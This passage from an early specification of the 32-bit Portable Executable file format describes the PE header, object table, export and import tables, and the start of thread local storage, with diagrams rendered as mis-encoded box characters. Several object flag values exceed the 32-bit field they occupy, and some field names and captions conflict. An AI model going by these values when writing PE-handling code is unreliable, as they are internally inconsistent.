Aligned on 8 byte boundary ³ PE Header ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Object Table ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Image Pages ³ ³ import info ³ ³ export info ³ ³ fixup info ³ ³ resource info³ ³ debug info ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 1. A typical 32-bit Portable EXE File Layout 2. PE Header ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ SIGNATURE BYTES ³ CPU TYPE ³ # OBJECTS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TIME/DATE STAMP ³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ NT HDR SIZE³ FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³LMAJOR³LMINOR³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ENTRYPOINT RVA ³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ IMAGE BASE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ OBJECT ALIGN ³ FILE ALIGN ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ OS MAJOR ³ OS MINOR ³USER MAJOR ³USER MINOR ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ SUBSYS MAJOR³ SUBSYS MINOR³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMAGE SIZE ³ HEADER SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ FILE CHECKSUM ³ SUBSYSTEM ³ DLL FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ STACK RESERVE SIZE ³ STACK COMMIT SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ HEAP RESERVE SIZE ³ HEAP COMMIT SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ # INTERESTING RVA/SIZES ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ EXPORT TABLE RVA ³ TOTAL EXPORT DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMPORT TABLE RVA ³ TOTAL IMPORT DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESOURCE TABLE RVA ³ TOTAL RESOURCE DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ EXCEPTION TABLE RVA ³ TOTAL EXCEPTION DATA SIZE³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ SECURITY TABLE RVA ³ TOTAL SECURITY DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ FIXUP TABLE RVA ³ TOTAL FIXUP DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ DEBUG TABLE RVA ³ TOTAL DEBUG DIRECTORIES ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMAGE DESCRIPTION RVA ³ TOTAL DESCRIPTION SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ MACHINE SPECIFIC RVA ³ MACHINE SPECIFIC SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ THREAD LOCAL STORAGE RVA ³ TOTAL TLS SIZE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 2. PE Header Notes: o A VA is a virtual address that is already biased by the Image Base found in the PE Header. A RVA is a virtual address that is relative to the Image Base. o An RVA in the PE Header which has a value of zero indicates the field isn't used. o Image pages are aligned and zero padded to a File Align boundary. The bases of all other tables and structures must be aligned on DWORD (4 byte) boundary. Thus, all VA's and RVA's must be on a 32 bit boundary. All table and structure fields must be aligned on their "natural" boundaries, with the possible exception of the Debug Info. SIGNATURE BYTES = DB * 4. Current value is "PE/0/0". Thats PE followed by two zeros (nulls). CPU TYPE = DW CPU Type. This field specifies the type of CPU compatibility required by this image to run. The values are: o 0000h __unknown o 014Ch __80386 o 014Dh __80486 o 014Eh __80586 o 0162h __MIPS Mark I (R2000, R3000) o 0163h __MIPS Mark II (R6000) o 0166h __MIPS Mark III (R4000) # OBJECTS = DW Number of object entries. This field specifies the number of entries in the Object Table. TIME/DATE STAMP = DD Used to store the time and date the file was created or modified by the linker. NT HDR SIZE = DW This is the number of remaining bytes in the NT header that follow the FLAGS field. FLAGS = DW Flag bits for the image. The flag bits have the following definitons: o 0000h __Program image. o 0002h __Image is executable. If this bit isn't set, then it indicates that either errors where detected at link time or that the image is being incrementally linked and therefore can't be loaded. o 0200h __Fixed. Indicates that if the image can't be loaded at the Image Base, then don't load it. o 2000h __Library image. LMAJOR/LMINOR = DB Linker major/minor version number. ENTRYPOINT RVA = DD Entrypoint relative virtual address. The address is relative to the Image Base. The address is the starting address for program images and the library initialization and library termination address for library images. IMAGE BASE = DD The virtual base of the image. This will be the virtual address of the first byte of the file (Dos Header). This must be a multiple of 64K. OBJECT ALIGN = DD The alignment of the objects. This must be a power of 2 between 512 and 256M inclusive. The default is 64K. FILE ALIGN = DD Alignment factor used to align image pages. The alignment factor (in bytes) used to align the base of the image pages and to determine the granularity of per-object trailing zero pad. Larger alignment factors will cost more file space; smaller alignment factors will impact demand load performance, perhaps significantly. Of the two, wasting file space is preferable. This value should be a power of 2 between 512 and 64K inclusive. OS MAJOR/MINOR = DW OS version number required to run this image. USER MAJOR/MINOR # = DW User major/minor version number. This is useful for differentiating between revisions of images/dynamic linked libraries. The values are specified at link time by the user. SUBSYS MAJOR/MINOR # = DW Subsystem major/minor version number. IMAGE SIZE = DD The virtual size (in bytes) of the image. This includes all headers. The total image size must be a multiple of Object Align. HEADER SIZE = DD Total header size. The combined size of the Dos Header, PE Header and Object Table. FILE CHECKSUM = DD Checksum for entire file. Set to 0 by the linker. SUBSYSTEM = DW NT Subsystem required to run this image. The values are: o 0000h __Unknown o 0001h __Native o 0002h __Windows GUI o 0003h __Windows Character o 0005h __OS/2 Character o 0007h __Posix Character DLL FLAGS = DW Indicates special loader requirements. This flag has the following bit values: o 0001h __Per-Process Library Initialization. o 0002h __Per-Process Library Termination. o 0004h __Per-Thread Library Initialization. o 0008h __Per-Thread Library Termination. All other bits are reserved for future use and should be set to zero. STACK RESERVE SIZE = DD Stack size needed for image. The memory is reserved, but only the STACK COMMIT SIZE is committed. The next page of the stack is a 'guarded page'. When the application hits the guarded page, the guarded page becomes valid, and the next page becomes the guarded page. This continues until the RESERVE SIZE is reached. STACK COMMIT SIZE = DD Stack commit size. HEAP RESERVE SIZE = DD Size of local heap to reserve. HEAP COMMIT SIZE = DD Amount to commit in local heap. # INTERESTING VA/SIZES = DD Indicates the size of the VA/SIZE array that follows. EXPORT TABLE RVA = DD Relative Virtual Address of the Export Table. This address is relative to the Image Base. IMPORT TABLE RVA = DD Relative Virtual Address of the Import Table. This address is relative to the Image Base. RESOURCE TABLE RVA = DD Relative Virtual Address of the Resource Table. This address is relative to the Image Base. EXCEPTION TABLE RVA = DD Relative Virtual Address of the Exception Table. This address is relative to the Image Base. SECURITY TABLE RVA = DD Relative Virtual Address of the Security Table. This address is relative to the Image Base. FIXUP TABLE RVA = DD Relative Virtual Address of the Fixup Table. This address is relative to the Image Base. DEBUG TABLE RVA = DD Relative Virtual Address of the Debug Table. This address is relative to the Image Base. IMAGE DESCRIPTION RVA = DD Relative Virtual Address of the description string specified in the module definiton file. MACHINE SPECIFIC RVA = DD Relative Virtual Address of a machine specific value. This address is relative to the Image Base. TOTAL EXPORT DATA SIZE = DD Total size of the export data. TOTAL IMPORT DATA SIZE = DD Total size of the import data. TOTAL RESOURCE DATA SIZE = DD Total size of the resource data. TOTAL EXCEPTION DATA SIZE = DD Total size of the exception data. TOTAL SECURITY DATA SIZE = DD Total size of the security data. TOTAL FIXUP DATA SIZE = DD Total size of the fixup data. TOTAL DEBUG DIRECTORIES = DD Total number of debug directories. TOTAL DESCRIPTION SIZE = DD Total size of the description data. MACHINE SPECIFIC SIZE = DD A machine specific value. 3. Object Table The number of entries in the Object Table is given by the # Objects field in the PE Header. Entries in the Object Table are numbered starting from one. The object table immediately follows the PE Header. The code and data memory object entries are in the order chosen by the linker. The virtual addresses for objects must be assigned by the linker such that they are in ascending order and adjacent, and must be a multiple of Object Align in the PE header. Each Object Table entry has the following format: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ OBJECT NAME ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ VIRTUAL SIZE ³ RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ PHYSICAL SIZE ³ PHYSICAL OFFSET ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ RESERVED ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ OBJECT FLAGS ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 3. Object Table OBJECT NAME = DB * 8 Object name. This is an eight-byte null-padded ASCII string representing the object name. VIRTUAL SIZE = DD Virtual memory size. The size of the object that will be allocated when the object is loaded. Any difference between PHYSICAL SIZE and VIRTUAL SIZE is zero filled. RVA = DD Relative Virtual Address. The virtual address the object is currently relocated to, relative to the Image Base. Each Object's virtual address space consumes a multiple of Object Align (power of 2 between 512 and 256M inclusive. Default is 64K), and immediately follows the previous Object in the virtual address space (the virtual address space for a image must be dense). PHYSICAL SIZE = DD Physical file size of initialized data. The size of the initialized data in the file for the object. The physical size must be a multiple of the File Align field in the PE Header, and must be less than or equal to the Virtual Size. PHYSICAL OFFSET = DD Physical offset for object's first page. This offset is relative to beginning of the EXE file, and is aligned on a multiple of the File Align field in the PE Header. The offset is used as a seek value. OBJECT FLAGS = DD Flag bits for the object. The object flag bits have the following definitions: o 000000020h __Code object. o 000000040h __Initialized data object. o 000000080h __Uninitialized data object. o 040000000h __Object must not be cached. o 080000000h __Object is not pageable. o 100000000h __Object is shared. o 200000000h __Executable object. o 400000000h __Readable object. o 800000000h __Writeable object. All other bits are reserved for future use and should be set to zero. 4. Image Pages The Image Pages section contains all initialized data for all objects. The seek offset for the first page in each object is specified in the object table and is aligned on a File Align boundary. The objects are ordered by the RVA. Every object begins on a multiple of Object Align. 5. Exports A typical file layout for the export information follows: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DIRECTORY TABLE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ADDRESS TABLE ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NAME PTR TABLE ³ ³ ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ORDINAL TABLE ³ ³ ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NAME STRINGS ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 4. Export File Layout 5.1 Export Directory Table The export information begins with the Export Directory Table which describes the remainder of the export information. The Export Directory Table contains address information that is used to resolve fixup references to the entry points within this image. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ EXPORT FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TIME/DATE STAMP ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ MAJOR VERSION ³ MINOR VERSION ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NAME RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ORDINAL BASE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ # EAT ENTRIES ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ # NAME PTRS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ADDRESS TABLE RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NAME PTR TABLE RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ORDINAL TABLE RVA ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 5. Export Directory Table Entry EXPORT FLAGS = DD Currently set to zero. TIME/DATE STAMP = DD Time/Date the export data was created. MAJOR/MINOR VERSION = DW A user settable major/minor version number. NAME RVA = DD Relative Virtual Address of the Dll asciiz Name. This is the address relative to the Image Base. ORDINAL BASE = DD First valid exported ordinal. This field specifies the starting ordinal number for the export address table for this image. Normally set to 1. # EAT ENTRIES = DD Indicates number of entries in the Export Address Table. # NAME PTRS = DD This indicates the number of entries in the Name Ptr Table (and parallel Ordinal Table). ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address Table. This address is relative to the Image Base. NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table Pointers. This address is relative to the beginning of the Image Base. This table is an array of RVA's with # NAMES entries. ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals Table Entry. This address is relative to the beginning of the Image Base. 5.2 Export Address Table The Export Address Table contains the address of exported entrypoints and exported data and absolutes. An ordinal number is used to index the Export Address Table. The ORDINAL BASE must be subracted from the ordinal number before indexing into this table. Export Address Table entry formats are described below: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ EXPORTED RVA ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 6. Export Address Table Entry EXPORTED RVA = DD Export address. This field contains the relative virtual address of the exported entry (relative to the Image Base). 5.3 Export Name Table Pointers The export name table pointers array contains address into the Export Name Table. The pointers are 32-bits each, and are relative to the Image Base. The pointers are ordered lexically to allow binary searches. 5.4 Export Ordinal Table The Export Name Table Pointers and the Export Ordinal Table form two parallel arrays, separated to allow natural field alignment. The export ordinal table array contains the Export Address Table ordinal numbers associated with the named export referenced by corresponding Export Name Table Pointers. The ordinals are 16-bits each, and already include the Ordinal Base stored in the Export Directory Table. 5.5 Export Name Table The export name table contains optional ASCII names for exported entries in the image. These tables are used with the array of Export Name Table Pointers and the array of Export Ordinals to translate a procedure name string into an ordinal number by searching for a matching name string. The ordinal number is used to locate the entry point information in the export address table. Import references by name require the Export Name Table Pointers table to be binary searched to find the matching name, then the corresponding Export Ordinal Table is known to contain the entry point ordinal number. Import references by ordinal number provide the fastest lookup since searching the name table is not required. Each name table entry has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ ASCII STRING ::: :::::::: '\0' ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 7. Export Name Table Entry ASCII STRING = DB ASCII String. The string is case sensitive and is terminated by a null byte. 6. Imports A typical file layout for the import information follows: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DIRECTORY TABLE ³ ³ ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL DIR ENTRY ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DLL1 LOOKUP TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DLL2 LOOKUP TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Dll3 LOOKUP TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ HINT-NAME TABLE ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DLL1 ADDRESS TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DLL2 ADDRESS TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DLL3 ADDRESS TABLE ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 8. Import File Layout 6.1 Import Directory Table The import information begins with the Import Directory Table which describes the remainder of the import information. The Import Directory Table contains address information that is used to resolve fixup references to the entry points within a DLL image. The import directory table consists of an array of Import Directory Entries, one entry for each DLL this image references. The last directory entry is empty (NULL) which indicates the end of the directory table. An Import Directory Entry has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ IMPORT FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TIME/DATE STAMP ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ MAJOR VERSION ³ MINOR VERSION ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NAME RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMPORT LOOKUP TABLE RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMPORT ADDRESS TABLE RVA ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 9. Import Directory Entry IMPORT FLAGS = DD Currently set to zero. TIME/DATE STAMP = DD Time/Date the import data was pre-snapped or zero if not pre-snapped. MAJOR/MINOR VERSION = DW The major/minor version number of the dll being referenced. NAME RVA = DD Relative Virtual Address of the Dll asciiz Name. This is the address relative to the Image Base. IMPORT LOOKUP TABLE RVA = DD This field contains the address of the start of the import lookup table for this image. The address is relative to the beginning of the Image Base. IMPORT ADDRESS TABLE RVA = DD This field contains the address of the start of the import addresses for this image. The address is relative to the beginning of the Image Base. 6.2 Import Lookup Table The Import Lookup Table is an array of ordinal or hint/name RVA's for each DLL. The last entry is empty (NULL) which indicates the end of the table. The last element is empty. 3 0 1 ÚÄÒÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³0º ORDINAL#/HINT-NAME TABLE RVA ³ ÀÄÐÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 10. Import Address Table Format ORDINAL/HINT-NAME TABLE RVA = 31-bits (mask = 7fffffffh) Ordinal Number or Name Table RVA. If the import is by ordinal, this field contains a 31 bit ordinal number. If the import is by name, this field contains a 31 bit address relative to the Image Base to the Hint-Name Table. O = 1-bit (mask = 80000000h) Import by ordinal flag. o 00000000h __Import by name. o 80000000h __Import by ordinal. 6.3 Hint-Name Table The Hint-Name Table format follows: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ HINT ³ ASCII STRING |||³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ´ ³|||||||||||||||||³ '\0' PAD ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ The PAD field is optional. Figure 11. Import Hint-Name Table HINT = DW Hint into Export Name Table Pointers. The hint value is used to index the Export Name Table Pointers array, allowing faster by-name imports. If the hint is incorrect, then a binary search is performed on the Export Name Ptr Table. ASCII STRING = DB ASCII String. The string is case sensitive and is terminated by a null byte. PAD = DB Zero pad byte. A trailing zero pad byte appears after the trailing null byte if necessary to align the next entry on an even boundary. The loader overwrites the import address table when loading the image with the 32-bit address of the import. 6.4 Import Address Table The Import Address Table is an array of addresses of the imported routines for each DLL. The last entry is empty (NULL) which indicates the end of the table. 7. Thread Local Storage Thread local storage is a special contiguous block of data. Each thread will gets its own block upon creation of the thread. The file layout for thread local storage follows: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ DIRECTORY TABLE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ TLS DATA ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 